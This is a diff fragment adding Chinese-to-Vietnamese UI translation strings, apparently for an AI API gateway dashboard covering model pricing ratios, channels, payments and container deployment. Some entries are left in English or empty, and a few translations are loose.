+    "智能熔断": "Dự phòng thông minh",
+    "智谱": "Zhipu AI",
+    "暂存错误": "Lỗi tạm thời",
+    "暂无": "None",
+    "暂无API信息": "Không có thông tin API",
+    "暂无SSE响应数据": "Không có dữ liệu phản hồi SSE",
+    "暂无产品配置": "Không có cấu hình sản phẩm",
+    "暂无保存的配置": "Không có cấu hình đã lưu",
+    "暂无充值记录": "Không có hồ sơ nạp tiền",
+    "暂无公告": "Không có thông báo",
+    "暂无分组，点击下方按钮添加": "No groups yet. Click the button below to add one.",
+    "暂无匹配模型": "Không có mô hình phù hợp",
+    "暂无参数覆盖记录": "",
+    "暂无可复制 JSON": "Không có JSON để sao chép",
+    "暂无可复制的版本信息": "No version information to copy",
+    "暂无可展示数据": "Không có dữ liệu để hiển thị",
+    "暂无可用的支付方式，请联系管理员配置": "Không có phương thức thanh toán khả dụng, vui lòng liên hệ quản trị viên để cấu hình",
+    "暂无可购买套餐": "Không có gói có thể mua",
+    "暂无响应数据": "Không có dữ liệu phản hồi",
+    "暂无容器信息": "No container information",
+    "暂无容器详情": "No container details",
+    "暂无密钥数据": "Không có dữ liệu khóa",
+    "暂无差异化倍率显示": "Không có hiển thị tỷ lệ khác biệt",
+    "暂无已绑定项": "Không có mục đã liên kết",
+    "暂无常见问答": "Không có câu hỏi thường gặp",
+    "暂无成功模型": "Không có mô hình thành công",
+    "暂无支付方式，点击上方按钮新增": "",
+    "暂无数据": "Không có dữ liệu",
+    "暂无数据，点击下方按钮添加键值对": "Không có dữ liệu, nhấp vào nút bên dưới để thêm cặp khóa-giá trị",
+    "暂无日志": "No logs",
+    "暂无日志可下载": "No logs available to download",
+    "暂无日志可复制": "No logs available to copy",
+    "暂无机密环境变量": "No secret environment variables",
+    "暂无模型": "No models",
+    "暂无模型描述": "Không có mô tả mô hình",
+    "暂无环境变量": "No environment variables",
+    "暂无监控数据": "Không có dữ liệu giám sát",
+    "暂无系统公告": "Không có thông báo hệ thống",
+    "暂无缺失模型": "Không có mô hình bị thiếu",
+    "暂无自动分组，点击下方按钮添加": "No auto groups yet. Click the button below to add one.",
+    "暂无自定义 OAuth 提供商": "Không có nhà cung cấp OAuth tùy chỉnh",
+    "暂无规则，点击下方按钮添加": "No rules yet. Click the button below to add one.",
+    "暂无订阅套餐": "Chưa có gói đăng ký",
+    "暂无订阅记录": "Chưa có bản ghi đăng ký",
+    "暂无请求数据": "Không có dữ liệu yêu cầu",
+    "暂无项目": "Không có dự án",
+    "暂无预填组": "Không có nhóm điền sẵn",
+    "暴露倍率接口": "Hiển thị API tỷ lệ",
+    "更多": "Mở rộng thêm",
+    "更多信息请参考": "Để biết thêm thông tin, vui lòng tham khảo",
+    "更多参数请参考": "Để biết thêm tham số, vui lòng tham khảo",
+    "更好的价格，更好的稳定性，只需要将模型基址替换为：": "Giá tốt hơn, ổn định hơn, không cần đăng ký, chỉ cần thay thế URL CƠ SỞ mô hình bằng: ",
+    "更新": "Cập nhật",
+    "更新 Creem 设置": "Cập nhật cài đặt Creem",
+    "更新 Stripe 设置": "Cập nhật cài đặt Stripe",
+    "更新 Waffo 设置": "",
+    "更新SSRF防护设置": "Cập nhật cài đặt bảo vệ SSRF",
+    "更新Worker设置": "Cập nhật cài đặt Worker",
+    "更新令牌信息": "Cập nhật thông tin mã thông báo",
+    "更新兑换码信息": "Cập nhật thông tin mã đổi thưởng",
+    "更新名称失败": "Failed to update name",
+    "更新失败": "Cập nhật thất bại",
+    "更新失败，请检查输入信息": "Update failed, please check the input information",
+    "更新套餐信息": "Cập nhật thông tin gói",
+    "更新容器配置": "Update Container Configuration",
+    "更新容器配置可能会导致容器重启，请确保在合适的时间进行此操作。": "Updating container configuration may cause the container to restart, please ensure you perform this operation at an appropriate time.",
+    "更新成功": "Cập nhật thành công",
+    "更新所有已启用通道余额": "Cập nhật số dư cho tất cả các kênh đã bật",
+    "更新支付设置": "Cập nhật cài đặt thanh toán",
+    "更新时间": "Thời gian cập nhật",
+    "更新服务器地址": "Cập nhật địa chỉ máy chủ",
+    "更新模型信息": "Cập nhật thông tin mô hình",
+    "更新渠道信息": "Cập nhật thông tin kênh",
+    "更新部署名称失败": "Failed to update deployment name",
+    "更新配置": "Update Configuration",
+    "更新配置后，容器可能需要重启以应用新的设置。请确保您了解这些更改的影响。": "After updating the configuration, the container may need to restart to apply the new settings. Please ensure you understand the impact of these changes.",
+    "更新配置失败": "Failed to update configuration",
+    "更新预填组": "Cập nhật nhóm điền sẵn",
+    "替换": "",
+    "月": "tháng",
+    "有 Reasoning": "Có lập luận",
+    "有序字符串数组": "Ordered string array",
+    "有效期": "Thời hạn",
+    "有效期单位": "Đơn vị thời hạn",
+    "有效期数值": "Giá trị thời hạn",
+    "有效期设置": "Cài đặt thời hạn",
+    "服务可用性": "Trạng thái dịch vụ",
+    "服务商": "Service Provider",
+    "服务器IP": "IP máy chủ",
+    "节点名称": "Tên nút",
+    "服务器地址": "Địa chỉ máy chủ",
+    "服务器日志功能未启用（未配置日志目录）": "Ghi nhật ký máy chủ chưa được bật (chưa cấu hình thư mục nhật ký)",
+    "服务器日志管理": "Quản lý nhật ký máy chủ",
+    "服务显示名称": "Tên hiển thị dịch vụ",
+    "未匹配到模型，按回车键可将「{{name}}」作为自定义模型名添加": "Không tìm thấy mô hình khớp. Nhấn Enter để thêm \"{{name}}\" làm tên mô hình tùy chỉnh.",
+    "未发现新增模型": "Không có mô hình mới nào được thêm",
+    "未发现重复密钥": "Không tìm thấy khóa trùng lặp",
+    "未启动": "Chưa bắt đầu",
+    "未启用": "Chưa bật",
+    "未命名": "Chưa đặt tên",
+    "未在 Discovery 响应中找到可用的 OAuth 端点": "Không tìm thấy endpoint OAuth khả dụng trong phản hồi Discovery",
+    "未备份": "Chưa sao lưu",
+    "未开始": "Chưa bắt đầu",
+    "未找到匹配的模型": "Không tìm thấy mô hình phù hợp",
+    "未找到可用的容器访问地址": "No available container access address found",
+    "未找到差异化倍率，无需同步": "Không tìm thấy tỷ lệ khác biệt, không cần đồng bộ hóa",
+    "未授权": "Chưa được xác thực",
+    "未提交": "Chưa gửi",
+    "未检测到 Fluent 容器": "Không phát hiện thấy container Fluent",
+    "未检测到 FluentRead（流畅阅读），请确认扩展已启用": "Không phát hiện thấy FluentRead (đọc trôi chảy), vui lòng xác nhận tiện ích mở rộng đã được bật",
+    "未测试": "Chưa kiểm tra",
+    "未添加附加条件时，仅使用上方 type 进行清理。": "Khi không thêm điều kiện bổ sung, chỉ sử dụng type ở trên để dọn dẹp.",
+    "未登录或登录已过期，请重新登录": "Chưa đăng nhập hoặc đăng nhập đã hết hạn, vui lòng đăng nhập lại",
+    "未知": "không xác định",
+    "未知供应商": "Không xác định",
+    "未知品牌": "Unknown Brand",
+    "未知模型": "Mô hình không xác định",
+    "未知渠道": "Kênh không xác định",
+    "未知状态": "Trạng thái không xác định",
+    "未知类型": "Loại không xác định",
+    "未知身份": "Danh tính không xác định",
+    "未知部署": "Unknown Deployment",
+    "未知错误": "Unknown error",
+    "未绑定": "Chưa liên kết",
+    "未获取到授权码": "Không lấy được mã ủy quyền",
+    "未设置": "Chưa thiết lập",
+    "未设置价格": "Chưa thiết lập giá",
+    "未设置价格模型": "Mô hình chưa thiết lập giá",
+    "未设置倍率模型": "Mô hình không có cài đặt tỷ lệ",
+    "未设置路径": "Chưa cấu hình đường dẫn",
+    "未配置模型": "Không có mô hình được cấu hình",
+    "未配置的模型列表": "Mô hình chưa được cấu hình",
+    "本地": "Cục bộ",
+    "本地数据存储": "Lưu trữ dữ liệu cục bộ",
+    "本地计费": "Local billing",
+    "本月获得": "Tháng này",
+    "本设备：手机指纹/面容，外接：USB安全密钥": "Tích hợp: vân tay/khuôn mặt điện thoại, Bên ngoài: khóa bảo mật USB",
+    "本设备内置": "Thiết bị tích hợp",
+    "本项目根据": "Dự án này được cấp phép theo ",
+    "机密环境变量": "Secret Environment Variables",
+    "机密环境变量将被加密存储，适用于存储密码、API密钥等敏感信息。": "Secret environment variables will be stored encrypted, suitable for storing passwords, API keys and other sensitive information.",
+    "机密环境变量说明": "Secret Environment Variables Description",
+    "权重": "Trọng số",
+    "权限设置": "Cài đặt quyền",
+    "条": "mục",
+    "条 - 第": "đến",
+    "条，共": "của",
+    "条件取反": "Đảo ngược điều kiện",
+    "条件数": "Số điều kiện",
+    "条件规则": "Quy tắc điều kiện",
+    "条件项设置": "Cài đặt mục điều kiện",
+    "条日志已清理！": "nhật ký đã được xóa!",
+    "条规则": "rules",
+    "来源": "Nguồn",
+    "来源于 IO.NET 部署": "From IO.NET Deployment",
+    "来源端点": "Endpoint nguồn",
+    "来自模型重定向，尚未加入模型列表": "From model redirect, not yet added to the model list",
+    "某些配置更改可能需要几分钟才能生效。": "Some configuration changes may take a few minutes to take effect.",
+    "查看": "Kiểm tra",
+    "查看 Codex 帐号信息与用量": "",
+    "查看 JSON 示例": "",
+    "查看关联部署": "View Associated Deployment",
+    "查看图片": "Xem hình ảnh",
+    "查看密钥": "Xem khóa",
+    "查看当前可用的所有模型": "Xem tất cả các mô hình khả dụng",
+    "查看所有可用的AI模型供应商，包括众多知名供应商的模型。": "Xem tất cả các nhà cung cấp mô hình AI khả dụng, bao gồm các mô hình từ nhiều nhà cung cấp nổi tiếng.",
+    "查看日志": "View Logs",
+    "查看渠道密钥": "Xem khóa kênh",
+    "查看示例": "View Example",
+    "查看详情": "View Details",
+    "查询": "Truy vấn",
+    "标准价格": "Standard price",
+    "标签": "Nhãn",
+    "标签不能为空！": "Nhãn không được để trống!",
+    "标签信息": "Thông tin thẻ",
+    "标签名称": "Tên thẻ",
+    "标签的基本配置": "Cấu hình cơ bản của thẻ",
+    "标签组": "Nhóm thẻ",
+    "标签聚合": "Tổng hợp thẻ",
+    "标签聚合模式": "Bật chế độ thẻ",
+    "标识颜色": "Màu định danh",
+    "核心概念": "Key Concepts",
+    "核心配置": "Cấu hình cốt lõi",
+    "核采样，控制词汇选择的多样性": "Lấy mẫu hạt nhân, kiểm soát sự đa dạng của lựa chọn từ vựng",
+    "根据 Anthropic 协定，/v1/messages 的输入 tokens 仅统计非缓存输入，不包含缓存读取与缓存写入 tokens。": "Theo quy ước của Anthropic, input tokens của /v1/messages chỉ tính phần đầu vào không dùng cache và không bao gồm tokens đọc/ghi cache.",
+    "根据模型名称和匹配规则查找模型元数据，优先级：精确 > 前缀 > 后缀 > 包含": "Tìm siêu dữ liệu mô hình dựa trên tên mô hình và quy tắc khớp, ưu tiên: chính xác > tiền tố > hậu tố > chứa",
+    "格式化": "Định dạng",
+    "格式化 JSON": "Định dạng JSON",
+    "格式正确": "Định dạng hợp lệ",
+    "格式示例：": "Ví dụ định dạng:",
+    "格式错误": "Định dạng không hợp lệ",
+    "检查更新": "Kiểm tra cập nhật",
+    "检测全部渠道上游更新": "",
+    "检测到 FluentRead（流畅阅读）": "Đã phát hiện FluentRead (đọc trôi chảy)",
+    "检测到剪贴板中的连接信息": "Phát hiện thông tin kết nối trong bộ nhớ tạm",
+    "检测到多个密钥，您可以单独复制每个密钥，或点击复制全部获取完整内容。": "Đã phát hiện nhiều khóa, bạn có thể sao chép từng khóa riêng lẻ hoặc nhấp vào Sao chép tất cả để lấy nội dung đầy đủ.",
+    "检测到该消息后有AI回复，是否删除后续回复并重新生成？": "Phát hiện trả lời AI sau tin nhắn này, xóa các trả lời tiếp theo và tạo lại?",
+    "检测失败": "",
+    "检测完成：新增 {{add}} 个，删除 {{remove}} 个": "",
+    "检测必须等待绘图成功才能进行放大等操作": "Việc phát hiện phải đợi vẽ thành công trước khi thực hiện phóng to và các thao tác khác",
+    "概览": "Overview",
+    "模型": "Mô hình",
+    "模型 {{name}} 缺少输入价格，无法计算补全/缓存/图片/音频价格对应的倍率": "Mô hình {{name}} thiếu giá đầu vào, nên không thể tính tỷ lệ tương ứng cho giá hoàn thành, bộ nhớ đệm, hình ảnh và âm thanh.",
+    "模型 {{name}} 缺少音频输入价格，无法计算音频补全倍率": "Mô hình {{name}} thiếu giá đầu vào âm thanh, nên không thể tính tỷ lệ hoàn thành âm thanh.",
+    "模型: {{ratio}}": "Mô hình: {{ratio}}",
+    "模型专用区域": "Khu vực dành riêng cho mô hình",
+    "模型价格": "Giá mô hình",
+    "模型价格 {{price}}": "Giá mô hình {{price}}",
+    "模型价格 {{symbol}}{{price}} / 次": "Giá mô hình {{symbol}}{{price}} / lượt gọi",
+    "模型价格 {{symbol}}{{price}} / 次 * {{ratioType}} {{ratio}} = {{symbol}}{{total}}": "Giá mô hình {{symbol}}{{price}} / lượt gọi * {{ratioType}} {{ratio}} = {{symbol}}{{total}}",
+    "模型价格 {{symbol}}{{price}}，{{ratioType}} {{ratio}}": "Giá mô hình {{symbol}}{{price}}, {{ratioType}} {{ratio}}",
+    "模型价格：{{symbol}}{{price}}": "Giá mô hình: {{symbol}}{{price}}",
+    "模型价格：{{symbol}}{{price}} * {{ratioType}}：{{ratio}} = {{symbol}}{{total}}": "Giá mô hình: {{symbol}}{{price}} * {{ratioType}}: {{ratio}} = {{symbol}}{{total}}",
+    "模型价格：{{symbol}}{{price}} / 次": "Giá mô hình: {{symbol}}{{price}} / lượt gọi",
+    "模型价格未配置": "Giá mô hình chưa được cấu hình",
+    "模型倍率": "Tỷ lệ mô hình",
+    "模型倍率 {{modelRatio}}": "Model ratio {{modelRatio}}",
+    "模型倍率 {{modelRatio}}，缓存倍率 {{cacheRatio}}，输出倍率 {{completionRatio}}，{{ratioType}} {{ratio}}": "Tỷ lệ mô hình {{modelRatio}}, tỷ lệ bộ nhớ đệm {{cacheRatio}}, tỷ lệ hoàn thành {{completionRatio}}, {{ratioType}} {{ratio}}",
+    "模型倍率 {{modelRatio}}，缓存倍率 {{cacheRatio}}，输出倍率 {{completionRatio}}，{{ratioType}} {{ratio}}，Web 搜索调用 {{webSearchCallCount}} 次": "Tỷ lệ mô hình {{modelRatio}}, tỷ lệ bộ nhớ đệm {{cacheRatio}}, tỷ lệ hoàn thành {{completionRatio}}, {{ratioType}} {{ratio}}, Tìm kiếm Web được gọi {{webSearchCallCount}} lần",
+    "模型倍率 {{modelRatio}}，缓存倍率 {{cacheRatio}}，输出倍率 {{completionRatio}}，图片输入倍率 {{imageRatio}}，{{ratioType}} {{ratio}}": "Tỷ lệ mô hình {{modelRatio}}, tỷ lệ bộ nhớ đệm {{cacheRatio}}, tỷ lệ hoàn thành {{completionRatio}}, tỷ lệ đầu vào hình ảnh {{imageRatio}}, {{ratioType}} {{ratio}}",
+    "模型倍率 {{modelRatio}}，补全倍率 {{completionRatio}}，音频倍率 {{audioRatio}}，音频补全倍率 {{audioCompletionRatio}}，{{cachePart}}{{ratioType}} {{ratio}}": "Hệ số mô hình {{modelRatio}}, hệ số hoàn thành {{completionRatio}}, hệ số âm thanh {{audioRatio}}, hệ số hoàn thành âm thanh {{audioCompletionRatio}}, {{cachePart}}{{ratioType}} {{ratio}}",
+    "模型倍率 {{modelRatio}}，输出倍率 {{completionRatio}}，缓存倍率 {{cacheRatio}}，{{ratioType}} {{ratio}}": "Hệ số mô hình {{modelRatio}}, hệ số đầu ra {{completionRatio}}, hệ số bộ nhớ đệm {{cacheRatio}}, {{ratioType}} {{ratio}}",
+    "模型倍率 {{modelRatio}}，输出倍率 {{completionRatio}}，缓存倍率 {{cacheRatio}}，缓存创建倍率 {{cacheCreationRatio}}，{{ratioType}} {{ratio}}": "Tỷ lệ mô hình {{modelRatio}}, tỷ lệ hoàn thành {{completionRatio}}, tỷ lệ bộ nhớ đệm {{cacheRatio}}, tỷ lệ tạo bộ nhớ đệm {{cacheCreationRatio}}, {{ratioType}} {{ratio}}",
+    "模型倍率值": "Giá trị tỷ lệ mô hình",
+    "模型倍率和补全倍率": "Tỷ lệ mô hình và tỷ lệ hoàn thành",
+    "模型倍率和补全倍率同时设置": "Cả tỷ lệ mô hình và tỷ lệ hoàn thành đều được đặt",
+    "模型倍率设置": "Cài đặt tỷ lệ mô hình",
+    "模型关键字": "Từ khóa mô hình",
+    "模型列表": "Danh sách mô hình",
+    "模型列表，使用逗号分隔，例如：gpt-3.5-turbo,gpt-4": "Danh sách mô hình, phân tách bằng dấu phẩy, ví dụ: gpt-3.5-turbo,gpt-4",
+    "模型列表已复制到剪贴板": "Danh sách mô hình đã được sao chép vào khay nhớ tạm",
+    "模型列表已更新": "Danh sách mô hình đã được cập nhật",
+    "模型列表已追加更新": "Model list has been updated",
+    "模型创建成功！": "Tạo mô hình thành công!",
+    "模型删除失败": "Failed to delete model",
+    "模型删除失败: {{error}}": "Failed to delete model: {{error}}",
+    "模型删除成功": "Model deleted successfully",
+    "模型别名": "Bí danh mô hình",
+    "模型加载中...": "Đang tải mô hình...",
+    "模型参数": "Tham số mô hình",
+    "模型名称": "Tên mô hình",
+    "模型名称包含": "Tên mô hình chứa",
+    "模型名称已存在": "Tên mô hình đã tồn tại",
+    "模型名称正则": "Regex tên mô hình",
+    "模型固定价格": "Giá cố định mô hình",
+    "模型图标": "Biểu tượng mô hình",
+    "模型定价，需要登录访问": "Định giá mô hình, yêu cầu đăng nhập để truy cập",
+    "模型定价设置": "Model Pricing",
+    "模型广场": "Thị trường mô hình",
+    "模型库": "Thư viện mô hình",
+    "模型拉取失败: {{error}}": "Failed to pull model: {{error}}",
+    "模型排序": "Sắp xếp mô hình",
+    "模型排行": "Xếp hạng mô hình",
+    "模型支持的接口端点信息": "Thông tin điểm cuối API được mô hình hỗ trợ",
+    "模型数据分析": "Phân tích dữ liệu mô hình",
+    "模型映射": "Ánh xạ mô hình",
+    "模型映射关系": "Quan hệ ánh xạ mô hình",
+    "模型映射必须是合法的 JSON 格式！": "Ánh xạ mô hình phải ở định dạng JSON hợp lệ!",
+    "模型更新成功！": "Cập nhật mô hình thành công!",
+    "模型未加入列表，可能无法调用": "Model not in the list; requests may fail",
+    "模型权限": "Quyền mô hình",
+    "模型正则": "Regex model",
+    "模型正则（每行一个）": "Regex model (mỗi dòng một mục)",
+    "模型正则不能为空": "Regex model không được để trống",
+    "模型消耗分布": "Phân phối tiêu thụ mô hình",
+    "模型消耗趋势": "Xu hướng tiêu thụ mô hình",
+    "模型版本": "Phiên bản mô hình",
+    "模型状态": "Trạng thái mô hình",
+    "模型的详细描述和基本特性": "Mô tả chi tiết và các đặc điểm cơ bản của mô hình",
+    "模型相关设置": "Mô hình liên quan",
+    "模型社区需要大家的共同维护，如发现数据有误或想贡献新的模型数据，请访问：": "Cộng đồng mô hình cần sự đóng góp của mọi người. Nếu bạn phát hiện dữ liệu sai hoặc muốn đóng góp dữ liệu mô hình mới, vui lòng truy cập:",
+    "模型管理": "Quản lý mô hình",
+    "模型类型": "Loại mô hình",
+    "模型组": "Nhóm mô hình",
+    "模型补全倍率（仅对自定义模型有效）": "Tỷ lệ hoàn thành mô hình (chỉ có hiệu lực đối với các mô hình tùy chỉnh)",
+    "模型计费编辑器": "Trình chỉnh sửa giá mô hình",
+    "模型设置": "Cài đặt mô hình",
+    "模型详情": "Chi tiết mô hình",
+    "模型请求速率限制": "Giới hạn tốc độ yêu cầu mô hình",
+    "模型调用次数占比": "Tỷ lệ số lần gọi mô hình",
+    "模型调用次数排行": "Xếp hạng số lần gọi mô hình",
+    "模型选择和映射设置": "Cài đặt chọn và ánh xạ mô hình",
+    "模型速率限制": "Giới hạn tốc độ mô hình",
+    "模型部署": "Model Deployment",
+    "模型部署服务未启用": "Model deployment service is not enabled",
+    "模型部署管理": "Model Deployment Management",
+    "模型部署设置": "Triển khai mô hình",
+    "模型配置": "Cấu hình mô hình",
+    "模型重定向": "Chuyển hướng mô hình",
+    "模型重定向，JSON格式，例如：{\"gpt-3.5-turbo\": \"gpt-3.5-turbo-0613\"}": "Chuyển hướng mô hình, định dạng JSON, ví dụ: {\"gpt-3.5-turbo\": \"gpt-3.5-turbo-0613\"}",
+    "模型重定向里的下列模型尚未添加到“模型”列表，调用时会因为缺少可用模型而失败：": "The following models from the redirect have not been added to the “Models” list and requests will fail due to no available model:",
+    "模型限制": "Giới hạn mô hình",
+    "模型限制列表": "Danh sách giới hạn mô hình",
+    "模式": "Chế độ",
+    "模板": "Mẫu",
+    "模板应用失败": "Áp dụng mẫu thất bại",
+    "模板示例": "Ví dụ mẫu",
+    "模糊匹配": "Khớp mờ",
+    "模糊搜索模型名称": "Tìm kiếm mờ tên mô hình",
+    "次": "lượt",
+    "欢迎使用，请完成以下设置以开始使用系统": "Chào mừng! Vui lòng hoàn tất các cài đặt sau để bắt đầu sử dụng hệ thống",
+    "欢迎回来": "Chào mừng trở lại",
+    "欢迎回来！": "Chào mừng trở lại!",
+    "欧元": "EUR",
+    "正则替换": "",
+    "正在使用": "Đang sử dụng",
+    "正在加载...": "Đang tải...",
+    "正在加载可用部署位置...": "Loading available deployment locations...",
+    "正在加载签到状态...": "Đang tải trạng thái đăng nhập...",
+    "正在处理": "Đang xử lý",
+    "正在处理，请稍候": "",
+    "正在处理大内容...": "Đang xử lý nội dung lớn...",
+    "正在导出...": "Đang xuất...",
+    "正在批量处理，请稍候": "",
+    "正在批量检测，请稍候": "",
+    "正在提交": "Đang gửi",
+    "正在提交...": "Đang gửi...",
+    "正在更新...": "Đang cập nhật...",
+    "正在构造请求体预览...": "Đang tạo xem trước thân yêu cầu...",
+    "正在检查 io.net 连接...": "Checking io.net connection...",
+    "正在检查数据库一致性，请稍候...": "Đang kiểm tra tính nhất quán của cơ sở dữ liệu, vui lòng đợi...",
+    "正在检测，请稍候": "",
+    "正在测试...": "Đang kiểm tra...",
+    "正在测试第 ${current} - ${end} 个模型 (共 ${total} 个)": "Đang kiểm tra mô hình thứ ${current} - ${end} (tổng cộng ${total})",
+    "正在登录...": "Đang đăng nhập...",
+    "正在跟随最新日志": "Following latest logs",
+    "正在跳转 GitHub...": "Đang chuyển hướng đến GitHub...",
+    "正在跳转...": "Đang chuyển hướng...",
+    "正在验证...": "Đang xác minh...",
+    "正常": "Bình thường",
+    "正常情况下，令牌的计费倍率由令牌所选的分组决定。特殊倍率可以根据「用户所在分组」进一步覆盖这个倍率。": "Normally, a token's billing ratio is determined by its selected group. Special ratios can override this based on the user's group.",
+    "正数为增加，负数为减少": "Số dương để tăng, số âm để giảm",
+    "此代理仅用于图片请求转发，Webhook通知发送等，AI API请求仍然由服务器直接发出，可在渠道设置中单独配置代理": "Proxy này chỉ được sử dụng để chuyển tiếp yêu cầu hình ảnh, gửi thông báo webhook, v.v. Các yêu cầu AI API vẫn được gửi trực tiếp bởi máy chủ và proxy có thể được cấu hình riêng trong cài đặt kênh",
+    "此修改将不可逆": "Sửa đổi này sẽ không thể đảo ngược",
+    "此操作不可恢复，请仔细确认时间后再操作！": "Thao tác này không thể khôi phục, vui lòng xác nhận thời gian cẩn thận trước khi thực hiện!",
+    "此操作不可撤销，将永久删除已自动禁用的密钥": "Thao tác này không thể hoàn tác và tất cả các khóa bị vô hiệu hóa tự động sẽ bị xóa vĩnh viễn.",
+    "此操作不可撤销，将永久删除该密钥": "Thao tác này không thể hoàn tác và khóa sẽ bị xóa vĩnh viễn.",
+    "此操作不可逆，所有数据将被永久删除": "Thao tác này không thể đảo ngược, tất cả dữ liệu sẽ bị xóa vĩnh viễn",
+    "此操作具有风险，请确认要继续执行": "This operation is risky, please confirm to continue",
+    "此操作将启用用户账户": "Thao tác này sẽ kích hoạt tài khoản người dùng",
+    "此操作将提升用户的权限级别": "Thao tác này sẽ nâng cấp quyền hạn của người dùng",
+    "此操作将禁用用户账户": "Thao tác này sẽ vô hiệu hóa tài khoản người dùng",
+    "此操作将禁用该用户当前的两步验证配置，下次登录将不再强制输入验证码，直到用户重新启用。": "Thao tác này sẽ vô hiệu hóa cấu hình xác thực hai yếu tố hiện tại của người dùng. Lần đăng nhập tiếp theo sẽ không yêu cầu mã xác minh cho đến khi người dùng bật lại.",
+    "此操作将解绑用户当前的 Passkey，下次登录需要重新注册。": "Thao tác này sẽ hủy liên kết Passkey hiện tại của người dùng. Họ sẽ cần đăng ký lại vào lần đăng nhập tiếp theo.",
+    "此操作将降低用户的权限级别": "Thao tác này sẽ giảm cấp quyền hạn của người dùng",
+    "此支付方式最低充值金额为": "Số tiền nạp tối thiểu cho phương thức thanh toán này là",
+    "此时用户创建令牌时只能看到 standard 和 premium：": "Users can now only see standard and premium when creating tokens:",
+    "此渠道由 IO.NET 自动同步，类型、密钥和 API 地址已锁定。": "This channel is automatically synchronized by IO.NET, type, key and API address are locked.",
+    "此设置用于系统内部计算，默认值500000是为了精确到6位小数点设计，不推荐修改。": "Cài đặt này được sử dụng cho các tính toán nội bộ của hệ thống. Giá trị mặc định 500000 được thiết kế cho độ chính xác 6 chữ số thập phân, không nên sửa đổi.",
+    "此页面仅显示未设置价格或倍率的模型，设置后将自动从列表中移除": "Trang này chỉ hiển thị các mô hình chưa đặt giá hoặc tỷ lệ. Sau khi đặt, chúng sẽ tự động bị xóa khỏi danh sách",
+    "此页面仅显示未设置价格或基础倍率的模型，设置后会自动从列表中移出": "Trang này chỉ hiển thị các mô hình chưa thiết lập giá hoặc tỷ lệ cơ bản. Sau khi lưu, chúng sẽ tự động biến mất khỏi danh sách.",
+    "此项只读，需要用户通过个人设置页面的相关绑定按钮进行绑定，不可直接修改": "Chỉ đọc, người dùng cần liên kết thông qua nút liên kết tương ứng trên trang cài đặt cá nhân, không thể sửa đổi trực tiếp",
+    "此项可选，用于修改请求体中的模型名称，为一个 JSON 字符串，键为请求中模型名称，值为要替换的模型名称，例如：": "Tùy chọn, được sử dụng để sửa đổi tên mô hình trong thân yêu cầu, là một chuỗi JSON, khóa là tên mô hình trong yêu cầu và giá trị là tên mô hình cần thay thế, ví dụ:",
+    "此项可选，用于修改请求体中的模型名称，为一个 JSON 字符串，键为请求中模型名称，值为要替换的模型名称，留空则不更改": "Tùy chọn, được sử dụng để sửa đổi tên mô hình trong thân yêu cầu, dưới dạng chuỗi JSON, khóa là tên mô hình trong yêu cầu, giá trị là tên mô hình cần thay thế, để trống sẽ không thay đổi",
+    "此项可选，用于复写返回的状态码，仅影响本地判断，不修改返回到上游的状态码，比如将claude渠道的400错误复写为500（用于重试），请勿滥用该功能，例如：": "Tùy chọn, được sử dụng để ghi đè mã trạng thái trả về, chỉ ảnh hưởng đến phán đoán cục bộ, không sửa đổi mã trạng thái trả về thượng nguồn, ví dụ: ghi đè lỗi 400 của kênh Claude thành 500 (để thử lại). Vui lòng không lạm dụng tính năng này. Ví dụ:",
+    "此项可选，用于覆盖请求参数。不支持覆盖 stream 参数": "Tùy chọn, được sử dụng để ghi đè tham số yêu cầu. Không hỗ trợ ghi đè tham số stream.",
+    "此项可选，用于覆盖请求头参数": "Tùy chọn, được sử dụng để ghi đè tham số tiêu đề yêu cầu.",
+    "此项可选，用于通过自定义API地址来进行 API 调用，末尾不要带/v1和/": "Tùy chọn cho các cuộc gọi API thông qua địa chỉ API tùy chỉnh, không thêm /v1 và / ở cuối",
+    "每个充值单位对应的 USD 金额，默认 1.0": "",
+    "每个分组代表一个价格档位。管理员创建分组后，可以选择哪些档位对用户开放自选。": "Each group represents a pricing tier. After creating groups, admins can choose which tiers are open for user self-selection.",
+    "每个用户最多可创建的令牌数量，默认 1000，设置过大可能会影响性能": "Số lượng token tối đa mỗi người dùng có thể tạo, mặc định 1000. Đặt quá lớn có thể ảnh hưởng hiệu suất",
+    "每周": "Hàng tuần",
+    "每天": "Hàng ngày",
+    "每容器GPU数": "GPUs per Container",
+    "每日仅可签到一次，请勿重复签到": "Chỉ có thể đăng nhập một lần mỗi ngày, vui lòng không đăng nhập lặp lại",
+    "每日签到": "Đăng nhập hàng ngày",
+    "每日签到可获得随机额度奖励": "Đăng nhập hàng ngày để nhận phần thưởng hạn mức ngẫu nhiên",
+    "每日签到获得": "Nhận được từ đăng nhập hàng ngày",
+    "每月": "Hàng tháng",
+    "每美元对应 Token 数": "Số token trên mỗi USD",
+    "每隔多少分钟测试一次所有通道": "Bao nhiêu phút kiểm tra tất cả các kênh một lần",
+    "比率": "Tỷ lệ",
+    "永不过期": "Không bao giờ hết hạn",
+    "永久": "Vĩnh viễn",
+    "永久删除您的两步验证设置": "Xóa vĩnh viễn cài đặt xác thực hai yếu tố của bạn",
+    "永久删除所有备用码（包括未使用的）": "Xóa vĩnh viễn tất cả các mã dự phòng (bao gồm cả mã chưa sử dụng)",
+    "永久有效": "Có hiệu lực vĩnh viễn",
+    "汇率": "Tỷ giá hối đoái",
+    "沙盒模式": "Chế độ Sandbox",
+    "沙盒环境 RSA 私钥 Base64 (PKCS#8 DER)": "Khóa riêng RSA Base64 (PKCS#8 DER) môi trường sandbox",
+    "沙盒环境 Waffo API 密钥": "",
+    "沙盒环境 Waffo 公钥 Base64 (X.509 DER)": "Khóa công khai Waffo Base64 (X.509 DER) môi trường sandbox",
+    "没有匹配的字段": "Không có trường khớp",
+    "没有匹配的日志条目": "No matching log entries",
+    "没有匹配的规则": "Không có quy tắc khớp",
+    "没有可用令牌用于填充": "Không có mã thông báo khả dụng để điền",
+    "没有可用模型": "Không có mô hình khả dụng",
+    "没有可用的模型": "Không có mô hình khả dụng",
+    "没有可用的通道": "Không có kênh khả dụng",
+    "没有找到匹配的模型": "Không tìm thấy mô hình phù hợp",
+    "没有找到相关结果": "Không tìm thấy kết quả liên quan",
+    "没有未设置定价的模型": "Không có mô hình chưa thiết lập giá",
+    "没有未设置的模型": "Không có mô hình chưa cấu hình",
+    "没有权限": "Không có quyền",
+    "没有权限执行此操作": "Không có quyền thực hiện thao tác này",
+    "没有条件时，默认总是执行该操作。": "Khi không có điều kiện, thao tác luôn được thực thi theo mặc định.",
+    "没有模型可以复制": "Không có mô hình để sao chép",
+    "没有账户？": "Chưa có tài khoản? ",
+    "注 册": "Đăng ký",
